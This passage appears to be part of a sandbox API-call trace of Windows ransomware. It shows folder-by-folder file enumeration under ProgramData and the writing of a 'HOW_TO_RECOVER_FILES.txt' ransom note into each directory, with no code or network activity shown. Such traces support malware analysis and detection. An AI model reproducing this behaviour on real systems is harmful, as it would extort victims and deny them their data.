ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.701] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.702] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT", lpFilePart=0x0) returned 0x28 [0104.702] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.702] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.702] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0104.702] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.702] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT", lpFilePart=0x0) returned 0x28 [0104.703] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.703] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.703] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0104.703] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 0 [0104.703] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0104.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0104.704] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\int\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0104.704] GetFileType (hFile=0x7dc) returned 0x1 [0104.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0104.704] GetFileType (hFile=0x7dc) returned 0x1 [0104.705] WriteFile (in: hFile=0x7dc, lpBuffer=0x36b7680*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x36b7680*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0104.705] CloseHandle (hObject=0x7dc) returned 1 [0104.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.706] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\production", lpFilePart=0x0) returned 0x2f [0104.734] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0104.734] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.734] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0104.734] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0104.734] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0 [0104.734] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.735] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\production", lpFilePart=0x0) returned 0x2f [0104.735] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0104.735] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.735] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0104.735] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0104.735] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.735] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0104.736] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp", lpFilePart=0x0) returned 0x34 [0104.736] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0104.736] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.736] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.736] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0104.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0104.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0104.737] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp", lpFilePart=0x0) returned 0x34 [0104.737] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0104.737] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.737] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.737] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0104.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0104.737] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0104.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0104.737] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\temp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0104.738] GetFileType (hFile=0x6e0) returned 0x1 [0104.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0104.738] GetFileType (hFile=0x6e0) returned 0x1 [0104.738] WriteFile (in: hFile=0x6e0, lpBuffer=0x32e3e10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x32e3e10*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0104.739] CloseHandle (hObject=0x6e0) returned 1 [0104.739] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0104.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0104.739] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\production\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0104.741] GetFileType (hFile=0x6e0) returned 0x1 [0104.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0104.741] GetFileType (hFile=0x6e0) returned 0x1 [0104.742] WriteFile (in: hFile=0x6e0, lpBuffer=0x32e7688*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x32e7688*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0104.743] CloseHandle (hObject=0x6e0) returned 1 [0104.743] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0104.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0104.743] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0104.744] GetFileType (hFile=0x6e0) returned 0x1 [0104.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0104.744] GetFileType (hFile=0x6e0) returned 0x1 [0104.744] WriteFile (in: hFile=0x6e0, lpBuffer=0x32eaed0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x32eaed0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0104.745] CloseHandle (hObject=0x6e0) returned 1 [0104.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.745] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MapData", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MapData", lpFilePart=0x0) returned 0x20 [0104.746] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MapData\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0104.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.746] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0104.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.746] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MapData", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MapData", lpFilePart=0x0) returned 0x20 [0104.746] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MapData\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 